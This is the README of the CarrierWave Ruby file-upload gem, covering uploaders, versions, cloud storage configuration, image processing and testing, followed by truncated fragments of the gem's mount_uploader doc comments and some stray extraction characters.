# CarrierWave
|
||||
|
||||
This gem provides a simple and extremely flexible way to upload files from Ruby applications.
|
||||
It works well with Rack based web applications, such as Ruby on Rails.

|
||||
|
||||
## Installation
|
||||
|
||||
Install the latest stable release:
|
||||
|
||||
[sudo] gem install carrierwave
|
||||
|
||||
In Rails, add it to your Gemfile:
|
||||
|
||||
```ruby
|
||||
gem 'carrierwave'
|
||||
```
|
||||
|
||||
Note that CarrierWave is not compatible with Rails 2 as of version 0.5. If you want to use
|
||||
Rails 2, please use the 0.4-stable branch on GitHub.
|
||||
|
||||
## Getting Started
|
||||
|
||||
Start off by generating an uploader:
|
||||
|
||||
rails generate uploader Avatar
|
||||
|
||||
this should give you a file in:
|
||||
|
||||
app/uploaders/avatar_uploader.rb
|
||||
|
||||
Check out this file for some hints on how you can customize your uploader. It
|
||||
should look something like this:
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
storage :file
|
||||
end
|
||||
```
|
||||
|
||||
You can use your uploader class to store and retrieve files like this:
|
||||
|
||||
```ruby
|
||||
uploader = AvatarUploader.new
|
||||
|
||||
uploader.store!(my_file)
|
||||
|
||||
uploader.retrieve_from_store!('my_file.png')
|
||||
```
|
||||
|
||||
CarrierWave gives you a `store` for permanent storage, and a `cache` for
|
||||
temporary storage. You can use different stores, including filesystem
|
||||
and cloud storage.
|
||||
|
||||
Most of the time you are going to want to use CarrierWave together with an ORM.
|
||||
It is quite simple to mount uploaders on columns in your model, so you can
|
||||
simply assign files and get going:
|
||||
|
||||
### ActiveRecord
|
||||
|
||||
Make sure you are loading CarrierWave after loading your ORM, otherwise you'll
|
||||
need to require the relevant extension manually, e.g.:
|
||||
|
||||
```ruby
|
||||
require 'carrierwave/orm/activerecord'
|
||||
```
|
||||
|
||||
Add a string column to the model you want to mount the uploader on:
|
||||
|
||||
```ruby
|
||||
add_column :users, :avatar, :string
|
||||
```
|
||||
|
||||
Open your model file and mount the uploader:
|
||||
|
||||
```ruby
|
||||
class User < ActiveRecord::Base
|
||||
mount_uploader :avatar, AvatarUploader
|
||||
end
|
||||
```
|
||||
|
||||
Now you can cache files by assigning them to the attribute, they will
|
||||
automatically be stored when the record is saved.
|
||||
|
||||
```ruby
|
||||
u = User.new
|
||||
u.avatar = params[:file]
|
||||
u.avatar = File.open('somewhere')
|
||||
u.save!
|
||||
u.avatar.url # => '/url/to/file.png'
|
||||
u.avatar.current_path # => 'path/to/file.png'
|
||||
u.avatar.identifier # => 'file.png'
|
||||
```
|
||||
|
||||
### DataMapper, Mongoid, Sequel
|
||||
|
||||
Other ORM support has been extracted into separate gems:
|
||||
|
||||
* [carrierwave-datamapper](https://github.com/jnicklas/carrierwave-datamapper)
|
||||
* [carrierwave-mongoid](https://github.com/jnicklas/carrierwave-mongoid)
|
||||
* [carrierwave-sequel](https://github.com/jnicklas/carrierwave-sequel)
|
||||
|
||||
There are more extensions listed in [the wiki](https://github.com/jnicklas/carrierwave/wiki)
|
||||
|
||||
## Changing the storage directory
|
||||
|
||||
In order to change where uploaded files are put, just override the `store_dir`
|
||||
method:
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
def store_dir
|
||||
'public/my/upload/directory'
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
This works for the file storage as well as Amazon S3 and Rackspace Cloud Files.
|
||||
Define `store_dir` as `nil` if you'd like to store files at the root level.
|
||||
|
||||
## Securing uploads
|
||||
|
||||
Certain file might be dangerous if uploaded to the wrong location, such as php
|
||||
files or other script files. CarrierWave allows you to specify a white-list of
|
||||
allowed extensions.
|
||||
|
||||
If you're mounting the uploader, uploading a file with the wrong extension will
|
||||
make the record invalid instead. Otherwise, an error is raised.
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
def extension_white_list
|
||||
%w(jpg jpeg gif png)
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
### Filenames and unicode chars
|
||||
|
||||
Another security issue you should care for is the file names (see
|
||||
[Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html#file-uploads)).
|
||||
By default, CarrierWave provides only English letters, arabic numerals and '-+_.' symbols as
|
||||
white-listed characters in the file name. If you want to support local scripts (Cyrillic letters, letters with diacritics and so on), you
|
||||
have to override `sanitize_regexp` method. It should return regular expression which would match
|
||||
all *non*-allowed symbols.
|
||||
|
||||
With Ruby 1.9 and higher you can simply write (as it has [Oniguruma](http://oniguruma.rubyforge.org/oniguruma/)
|
||||
built-in):
|
||||
|
||||
```ruby
|
||||
CarrierWave::SanitizedFile.sanitize_regexp = /[^[:word:]\.\-\+]/
|
||||
```
|
||||
|
||||
With Ruby 1.8 you have to manually specify all character ranges. For example, for files which may
|
||||
contain Russian letters:
|
||||
|
||||
```ruby
|
||||
CarrierWave::SanitizedFile.sanitize_regexp = /[^a-zA-Zа-яА-ЯёЁ0-9\.\-\+_]/u
|
||||
```
|
||||
|
||||
Also make sure that allowing non-latin characters won't cause a compatibility issue with a third-party
|
||||
plugins or client-side software.
|
||||
|
||||
## Setting the content type
|
||||
|
||||
If you care about the content type of your files and notice that it's not being set
|
||||
as expected, you can configure your uploaders to use `CarrierWave::MimeTypes`.
|
||||
This adds a dependency on the [mime-types](http://rubygems.org/gems/mime-types) gem,
|
||||
but is recommended when using fog, and fog already has a dependency on mime-types.
|
||||
|
||||
```ruby
|
||||
require 'carrierwave/processing/mime_types'
|
||||
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
include CarrierWave::MimeTypes
|
||||
|
||||
process :set_content_type
|
||||
end
|
||||
```
|
||||
|
||||
## Adding versions
|
||||
|
||||
Often you'll want to add different versions of the same file. The classic
|
||||
example is image thumbnails. There is built in support for this:
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
include CarrierWave::RMagick
|
||||
|
||||
process :resize_to_fit => [800, 800]
|
||||
|
||||
version :thumb do
|
||||
process :resize_to_fill => [200,200]
|
||||
end
|
||||
|
||||
end
|
||||
```
|
||||
|
||||
When this uploader is used, an uploaded image would be scaled to be no larger
|
||||
than 800 by 800 pixels. A version called thumb is then created, which is scaled
|
||||
and cropped to exactly 200 by 200 pixels. The uploader could be used like this:
|
||||
|
||||
```ruby
|
||||
uploader = AvatarUploader.new
|
||||
uploader.store!(my_file) # size: 1024x768
|
||||
|
||||
uploader.url # => '/url/to/my_file.png' # size: 800x600
|
||||
uploader.thumb.url # => '/url/to/thumb_my_file.png' # size: 200x200
|
||||
```
|
||||
|
||||
One important thing to remember is that process is called *before* versions are
|
||||
created. This can cut down on processing cost.
|
||||
|
||||
It is possible to nest versions within versions:
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
|
||||
version :animal do
|
||||
version :human
|
||||
version :monkey
|
||||
version :llama
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
### Conditional versions
|
||||
|
||||
Occasionally you want to restrict the creation of versions on certain
|
||||
properties within the model or based on the picture itself.
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
|
||||
version :human, :if => :is_human?
|
||||
version :monkey, :if => :is_monkey?
|
||||
version :banner, :if => :is_landscape?
|
||||
|
||||
protected
|
||||
|
||||
def is_human? picture
|
||||
model.can_program?(:ruby)
|
||||
end
|
||||
|
||||
def is_monkey? picture
|
||||
model.favorite_food == 'banana'
|
||||
end
|
||||
|
||||
def is_landscape? picture
|
||||
image = MiniMagick::Image.open(picture.path)
|
||||
image[:width] > image[:height]
|
||||
end
|
||||
|
||||
end
|
||||
```
|
||||
|
||||
The `model` variable points to the instance object the uploader is attached to.
|
||||
|
||||
### Create versions from existing versions
|
||||
|
||||
For performance reasons, it is often useful to create versions from existing ones
|
||||
instead of using the original file. If your uploader generates several versions
|
||||
where the next is smaller than the last, it will take less time to generate from
|
||||
a smaller, already processed image.
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
|
||||
version :thumb do
|
||||
process resize_to_fill: [280, 280]
|
||||
end
|
||||
|
||||
version :small_thumb, :from_version => :thumb do
|
||||
process resize_to_fill: [20, 20]
|
||||
end
|
||||
|
||||
end
|
||||
```
|
||||
|
||||
The option `:from_version` uses the file cached in the `:thumb` version instead
|
||||
of the original version, potentially resulting in faster processing.
|
||||
|
||||
## Making uploads work across form redisplays
|
||||
|
||||
Often you'll notice that uploaded files disappear when a validation fails.
|
||||
CarrierWave has a feature that makes it easy to remember the uploaded file even
|
||||
in that case. Suppose your `user` model has an uploader mounted on `avatar`
|
||||
file, just add a hidden field called `avatar_cache`. In Rails, this would look
|
||||
like this:
|
||||
|
||||
```erb
|
||||
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||
<p>
|
||||
<label>My Avatar</label>
|
||||
<%= f.file_field :avatar %>
|
||||
<%= f.hidden_field :avatar_cache %>
|
||||
</p>
|
||||
<% end %>
|
||||
````
|
||||
|
||||
It might be a good idea to show the user that a file has been uploaded, in the
|
||||
case of images, a small thumbnail would be a good indicator:
|
||||
|
||||
```erb
|
||||
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||
<p>
|
||||
<label>My Avatar</label>
|
||||
<%= image_tag(@user.avatar_url) if @user.avatar? %>
|
||||
<%= f.file_field :avatar %>
|
||||
<%= f.hidden_field :avatar_cache %>
|
||||
</p>
|
||||
<% end %>
|
||||
```
|
||||
|
||||
## Removing uploaded files
|
||||
|
||||
If you want to remove a previously uploaded file on a mounted uploader, you can
|
||||
easily add a checkbox to the form which will remove the file when checked.
|
||||
|
||||
```erb
|
||||
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||
<p>
|
||||
<label>My Avatar</label>
|
||||
<%= image_tag(@user.avatar_url) if @user.avatar? %>
|
||||
<%= f.file_field :avatar %>
|
||||
</p>
|
||||
|
||||
<p>
|
||||
<label>
|
||||
<%= f.check_box :remove_avatar %>
|
||||
Remove avatar
|
||||
</label>
|
||||
</p>
|
||||
<% end %>
|
||||
```
|
||||
|
||||
If you want to remove the file manually, you can call <code>remove_avatar!</code>.
|
||||
|
||||
## Uploading files from a remote location
|
||||
|
||||
Your users may find it convenient to upload a file from a location on the Internet
|
||||
via a URL. CarrierWave makes this simple, just add the appropriate attribute to your
|
||||
form and you're good to go:
|
||||
|
||||
```erb
|
||||
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||
<p>
|
||||
<label>My Avatar URL:</label>
|
||||
<%= image_tag(@user.avatar_url) if @user.avatar? %>
|
||||
<%= f.text_field :remote_avatar_url %>
|
||||
</p>
|
||||
<% end %>
|
||||
```
|
||||
|
||||
## Providing a default URL
|
||||
|
||||
In many cases, especially when working with images, it might be a good idea to
|
||||
provide a default url, a fallback in case no file has been uploaded. You can do
|
||||
this easily by overriding the `default_url` method in your uploader:
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
def default_url
|
||||
"/images/fallback/" + [version_name, "default.png"].compact.join('_')
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
## Recreating versions
|
||||
|
||||
You might come to a situation where you want to retroactively change a version
|
||||
or add a new one. You can use the recreate_versions! method to recreate the
|
||||
versions from the base file. This uses a naive approach which will re-upload and
|
||||
process all versions.
|
||||
|
||||
```ruby
|
||||
instance = MyUploader.new
|
||||
instance.recreate_versions!
|
||||
```
|
||||
|
||||
Or on a mounted uploader:
|
||||
|
||||
```ruby
|
||||
User.all.each do |user|
|
||||
user.avatar.recreate_versions!
|
||||
end
|
||||
```
|
||||
|
||||
## Configuring CarrierWave
|
||||
|
||||
CarrierWave has a broad range of configuration options, which you can configure,
|
||||
both globally and on a per-uploader basis:
|
||||
|
||||
```ruby
|
||||
CarrierWave.configure do |config|
|
||||
config.permissions = 0666
|
||||
config.storage = :file
|
||||
end
|
||||
```
|
||||
|
||||
Or alternatively:
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
permissions 0777
|
||||
end
|
||||
```
|
||||
|
||||
If you're using Rails, create an initializer for this:
|
||||
|
||||
```ruby
|
||||
config/initializers/carrierwave.rb
|
||||
```
|
||||
|
||||
## Testing with CarrierWave
|
||||
|
||||
It's a good idea to test you uploaders in isolation. In order to speed up your
|
||||
tests, it's recommended to switch off processing in your tests, and to use the
|
||||
file storage. In Rails you could do that by adding an initializer with:
|
||||
|
||||
```ruby
|
||||
if Rails.env.test? or Rails.env.cucumber?
|
||||
CarrierWave.configure do |config|
|
||||
config.storage = :file
|
||||
config.enable_processing = false
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
If you need to test your processing, you should test it in isolation, and enable
|
||||
processing only for those tests that need it.
|
||||
|
||||
CarrierWave comes with some RSpec matchers which you may find useful:
|
||||
|
||||
```ruby
|
||||
require 'carrierwave/test/matchers'
|
||||
|
||||
describe MyUploader do
|
||||
include CarrierWave::Test::Matchers
|
||||
|
||||
before do
|
||||
MyUploader.enable_processing = true
|
||||
@uploader = MyUploader.new(@user, :avatar)
|
||||
@uploader.store!(File.open(path_to_file))
|
||||
end
|
||||
|
||||
after do
|
||||
MyUploader.enable_processing = false
|
||||
@uploader.remove!
|
||||
end
|
||||
|
||||
context 'the thumb version' do
|
||||
it "should scale down a landscape image to be exactly 64 by 64 pixels" do
|
||||
@uploader.thumb.should have_dimensions(64, 64)
|
||||
end
|
||||
end
|
||||
|
||||
context 'the small version' do
|
||||
it "should scale down a landscape image to fit within 200 by 200 pixels" do
|
||||
@uploader.small.should be_no_larger_than(200, 200)
|
||||
end
|
||||
end
|
||||
|
||||
it "should make the image readable only to the owner and not executable" do
|
||||
@uploader.should have_permissions(0600)
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
Setting the enable_processing flag on an uploader will prevent any of the versions from processing as well.
|
||||
Processing can be enabled for a single version by setting the processing flag on the version like so:
|
||||
|
||||
```ruby
|
||||
@uploader.thumb.enable_processing = true
|
||||
```
|
||||
|
||||
## Using Amazon S3
|
||||
|
||||
[Fog](http://github.com/fog/fog) is used to support Amazon S3. Ensure you have it in your Gemfile:
|
||||
|
||||
```ruby
|
||||
gem "fog", "~> 1.3.1"
|
||||
```
|
||||
|
||||
You'll need to provide your fog_credentials and a fog_directory (also known as a bucket) in an initializer.
|
||||
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
|
||||
You can also pass in additional options, as documented fully in lib/carrierwave/storage/fog.rb. Here's a full example:
|
||||
|
||||
```ruby
|
||||
CarrierWave.configure do |config|
|
||||
config.fog_credentials = {
|
||||
:provider => 'AWS', # required
|
||||
:aws_access_key_id => 'xxx', # required
|
||||
:aws_secret_access_key => 'yyy', # required
|
||||
:region => 'eu-west-1' # optional, defaults to 'us-east-1'
|
||||
}
|
||||
config.fog_directory = 'name_of_directory' # required
|
||||
config.fog_host = 'https://assets.example.com' # optional, defaults to nil
|
||||
config.fog_public = false # optional, defaults to true
|
||||
config.fog_attributes = {'Cache-Control'=>'max-age=315576000'} # optional, defaults to {}
|
||||
end
|
||||
```
|
||||
|
||||
In your uploader, set the storage to :fog
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
storage :fog
|
||||
end
|
||||
```
|
||||
|
||||
That's it! You can still use the `CarrierWave::Uploader#url` method to return the url to the file on Amazon S3.
|
||||
|
||||
## Using Rackspace Cloud Files
|
||||
|
||||
[Fog](http://github.com/fog/fog) is used to support Rackspace Cloud Files. Ensure you have it in your Gemfile:
|
||||
|
||||
```ruby
|
||||
gem "fog", "~> 1.3.1"
|
||||
```
|
||||
|
||||
You'll need to configure a directory (also known as a container), username and API key in the initializer.
|
||||
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
|
||||
|
||||
```ruby
|
||||
CarrierWave.configure do |config|
|
||||
config.fog_credentials = {
|
||||
:provider => 'Rackspace',
|
||||
:rackspace_username => 'xxxxxx',
|
||||
:rackspace_api_key => 'yyyyyy'
|
||||
}
|
||||
config.fog_directory = 'name_of_directory'
|
||||
end
|
||||
```
|
||||
|
||||
You can optionally include your CDN host name in the configuration.
|
||||
This is *highly* recommended, as without it every request requires a lookup
|
||||
of this information.
|
||||
|
||||
```ruby
|
||||
config.fog_host = "http://c000000.cdn.rackspacecloud.com"
|
||||
```
|
||||
|
||||
In your uploader, set the storage to :fog
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
storage :fog
|
||||
end
|
||||
```
|
||||
|
||||
That's it! You can still use the `CarrierWave::Uploader#url` method to return
|
||||
the url to the file on Rackspace Cloud Files.
|
||||
|
||||
## Using Google Storage for Developers
|
||||
|
||||
[Fog](http://github.com/fog/fog) is used to support Google Storage for Developers. Ensure you have it in your Gemfile:
|
||||
|
||||
```ruby
|
||||
gem "fog", "~> 1.3.1"
|
||||
```
|
||||
|
||||
You'll need to configure a directory (also known as a bucket), access key id and secret access key in the initializer.
|
||||
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
|
||||
|
||||
```ruby
|
||||
CarrierWave.configure do |config|
|
||||
config.fog_credentials = {
|
||||
:provider => 'Google',
|
||||
:google_storage_access_key_id => 'xxxxxx',
|
||||
:google_storage_secret_access_key => 'yyyyyy'
|
||||
}
|
||||
config.fog_directory = 'name_of_directory'
|
||||
end
|
||||
```
|
||||
|
||||
In your uploader, set the storage to :fog
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
storage :fog
|
||||
end
|
||||
```
|
||||
|
||||
That's it! You can still use the `CarrierWave::Uploader#url` method to return
|
||||
the url to the file on Google.
|
||||
|
||||
## Dynamic Fog Host
|
||||
|
||||
The `fog_host` config property can be assigned a proc (or anything that responds to `call`) for generating the host dynamically. The proc-compliant object gets an instance of the current `CarrierWave::Storage::Fog::File` as its only argument.
|
||||
|
||||
```ruby
|
||||
CarrierWave.configure do |config|
|
||||
config.fog_host = proc do |file|
|
||||
identifier = # some logic
|
||||
"http://#{identifier}.cdn.rackspacecloud.com"
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
## Using RMagick
|
||||
|
||||
If you're uploading images, you'll probably want to manipulate them in some way,
|
||||
you might want to create thumbnail images for example. CarrierWave comes with a
|
||||
small library to make manipulating images with RMagick easier, you'll need to
|
||||
include it in your Uploader:
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
include CarrierWave::RMagick
|
||||
end
|
||||
```
|
||||
|
||||
The RMagick module gives you a few methods, like
|
||||
`CarrierWave::RMagick#resize_to_fill` which manipulate the image file in some
|
||||
way. You can set a `process` callback, which will call that method any time a
|
||||
file is uploaded.
|
||||
There is a demonstration of convert here.
|
||||
Convert will only work if the file has the same file extension, thus the use of the filename method.
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
include CarrierWave::RMagick
|
||||
|
||||
process :resize_to_fill => [200, 200]
|
||||
process :convert => 'png'
|
||||
|
||||
def filename
|
||||
super.chomp(File.extname(super)) + '.png'
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
Check out the manipulate! method, which makes it easy for you to write your own
|
||||
manipulation methods.
|
||||
|
||||
## Using MiniMagick
|
||||
|
||||
MiniMagick is similar to RMagick but performs all the operations using the 'mogrify'
|
||||
command which is part of the standard ImageMagick kit. This allows you to have the power
|
||||
of ImageMagick without having to worry about installing all the RMagick libraries.
|
||||
|
||||
See the MiniMagick site for more details:
|
||||
|
||||
http://github.com/probablycorey/mini_magick
|
||||
|
||||
And the ImageMagick command line options for more for whats on offer:
|
||||
|
||||
http://www.imagemagick.org/script/command-line-options.php
|
||||
|
||||
Currently, the MiniMagick carrierwave processor provides exactly the same methods as
|
||||
for the RMagick processor.
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
include CarrierWave::MiniMagick
|
||||
|
||||
process :resize_to_fill => [200, 200]
|
||||
end
|
||||
```
|
||||
|
||||
## Migrating from Paperclip
|
||||
|
||||
If you are using Paperclip, you can use the provided compatibility module:
|
||||
|
||||
```ruby
|
||||
class AvatarUploader < CarrierWave::Uploader::Base
|
||||
include CarrierWave::Compatibility::Paperclip
|
||||
end
|
||||
```
|
||||
|
||||
See the documentation for `CarrierWave::Compatibility::Paperclip` for more
|
||||
details.
|
||||
|
||||
Be sure to use mount_on to specify the correct column:
|
||||
|
||||
```ruby
|
||||
mount_uploader :avatar, AvatarUploader, :mount_on => :avatar_file_name
|
||||
```
|
||||
|
||||
Unfortunately attachment_fu differs too much in philosophy for there to be a
|
||||
sensible compatibility mode. Patches for migrating from other solutions will be
|
||||
happily accepted.
|
||||
|
||||
## i18n
|
||||
|
||||
The Active Record validations use the Rails i18n framework. Add these keys to
|
||||
your translations file:
|
||||
|
||||
```yaml
|
||||
errors:
|
||||
messages:
|
||||
carrierwave_processing_error: 'Cannot resize image.'
|
||||
carrierwave_integrity_error: 'Not an image.'
|
||||
```
|
||||
|
||||
## Large files
|
||||
|
||||
By default, CarrierWave copies an uploaded file twice, first copying the file into the cache, then
|
||||
copying the file into the store. For large files, this can be prohibitively time consuming.
|
||||
|
||||
You may change this behavior by overriding either or both of the `move_to_cache` and
|
||||
`move_to_store` methods:
|
||||
|
||||
```ruby
|
||||
class MyUploader < CarrierWave::Uploader::Base
|
||||
def move_to_cache
|
||||
true
|
||||
end
|
||||
def move_to_store
|
||||
true
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
When the `move_to_cache` and/or `move_to_store` methods return true, files will be moved (instead of copied) to the cache and store respectively.
|
||||
|
||||
This has only been tested with the local filesystem store.
|
||||
|
||||
## Contributing to CarrierWave
|
||||
|
||||
CarrierWave thrives on a large number of [contributors](https://github.com/jnicklas/carrierwave/contributors),
|
||||
and pull requests are very welcome. Before submitting a pull request, please make sure that your changes are well tested.
|
||||
|
||||
You'll need to install bundler and the gem dependencies:
|
||||
|
||||
gem install bundler
|
||||
bundle install
|
||||
|
||||
You should now be able to run the local tests:
|
||||
|
||||
bundle exec rake
|
||||
|
||||
You can also run the remote specs by creating a ~/.fog file:
|
||||
|
||||
```yaml
|
||||
:carrierwave:
|
||||
:aws_access_key_id: xxx
|
||||
:aws_secret_access_key: yyy
|
||||
:rackspace_username: xxx
|
||||
:rackspace_api_key: yyy
|
||||
:google_storage_access_key_id: xxx
|
||||
:google_storage_secret_access_key: yyy
|
||||
```
|
||||
|
||||
You should now be able to run the remote tests:
|
||||
|
||||
REMOTE=true bundle exec rake
|
||||
|
||||
Please test with the latest Ruby 1.8.x and 1.9.x versions using RVM if possible.

|
||||
# [option (Symbol)] The option, e.g. validate_integrity
|

##
|
||||
# Mounts the given uploader on the given column. This means that assigning
|
||||
# and reading from the column will upload and retrieve files. Supposing
|
||||
# that a User class has an uploader mounted on image, you can assign and
|
||||
# retrieve files like this:
|
||||
#
|
||||
# @user.image # => <Uploader>
|
||||
# @user.image.store!(some_file_object)
|
||||
#
|
||||
# @user.image.url # => '/some_url.png'
|
||||
#
|
||||
# It is also possible (but not recommended) to ommit the uploader, which
|
||||
# will create an anonymous uploader class.
|
||||
#
|
||||
# Passing a block makes it possible to customize the uploader. This can be
|
||||
# convenient for brevity, but if there is any significatnt logic in the
|
||||
# uploader, you should do the right thing and have it in its own file.
|
||||
#
|
||||
# === Added instance methods
|
||||
#
|
||||
# Supposing a class has used +mount_uploader+ to mount an uploader on a column
|
||||
# named +image+, in that case the following methods will be added to the class:
|
||||
#
|
||||
# [image] Returns an instance of the uploader only if anything has been uploaded
|
||||
# [image=] Caches the given file
|
||||
#
|
||||
# [image_url] Returns the url to the uploaded file
|
||||
#
|
||||
# [image_cache] Returns a string that identifies the cache location of the file
|
||||
# [image_cache=] Retrieves the file from the cache based on the given cache name
|
||||
#
|
||||
# [remote_image_url] Returns previously cached remote url
|
||||
# [remote_image_url=] Retrieve the file from the remote url
|
||||
#
|
||||
# [remove_image] An attribute reader that can be used with a checkbox to mark a file for removal
|
||||
# [remove_image=] An attribute writer that can be used with a checkbox to mark a file for removal
|
||||
# [remove_image?] Whether the file should be removed when store_image! is called.
|
||||
#
|
||||
# [store_image!] Stores a file that has been assigned with +image=+
|
||||
# [remove_image!] Removes the uploaded file from the filesystem.
|
||||
#
|
||||
# [image_integrity_error] Returns an error object if the last file to be assigned caused an integrity error
|
||||
# [image_processing_error] Returns an error object if the last file to be assigned caused a processing error
|
||||
#
|
||||
# [write_image_identifier] Uses the write_uploader method to set the identifier.
|
||||
# [image_identifier] Reads out the identifier of the file
|
||||
#
|
||||
# === Parameters
|
||||
#
|
||||
# [column (Symbol)] the attribute to mount this uploader on
|
||||
# [uploader (CarrierWave::Uploader)] the uploader class to mount
|
||||
# [options (Hash{Symbol => Object})] a set of options
|
||||
# [&block (Proc)] customize anonymous uploaders
|
||||
#
|
||||
# === Options
|
||||
#
|
||||
# [:mount_on => Symbol] if the name of the column to be serialized to differs you can override it using this option
|
||||
# [:ignore_integrity_errors => Boolean] if set to true, integrity errors will result in caching failing silently
|
||||
# [:ignore_processing_errors => Boolean] if set to true, processing errors will result in caching failing silently
|
||||
#
|
||||
# === Examples
|
||||
#
|
||||
# Mounting uploaders on different columns.
|
||||
#
|
||||
# class Song
|
||||
# mount_uploader :lyrics, LyricsUploader
|
||||
# mount_uploader :alternative_lyrics, LyricsUploader
|
||||
# mount_uploader :file, SongUploader
|
||||
# end
|
||||
#
|
||||
# This will add an anonymous uploader with only the default settings:
|
||||
#
|
||||
# class Data
|
||||
# mount_uploader :csv
|
||||
# end
|
||||
#
|
||||
# this will add an anonymous uploader overriding the store_dir:
|
||||
#
|
||||
# class Product
|
||||
# mount_uploader :blueprint do
|
||||
# def store_dir
|

# 'blueprints'

#

# Once you have an uploader you can use it in isolation:

# my_uploader = MyUploader.new

# my_uploader.cache!(File.open(path_to_file))

# my_uploader.retrieve_from_store!('monkey.png')

# Alternatively, you can mount it on an ORM or other persistence layer, with
|
||||
# +CarrierWave::Mount#mount_uploader+. There are extensions for activerecord and datamapper
|
||||
# these are *very* simple (they are only a dozen lines of code), so adding your own should
|

# be trivial.
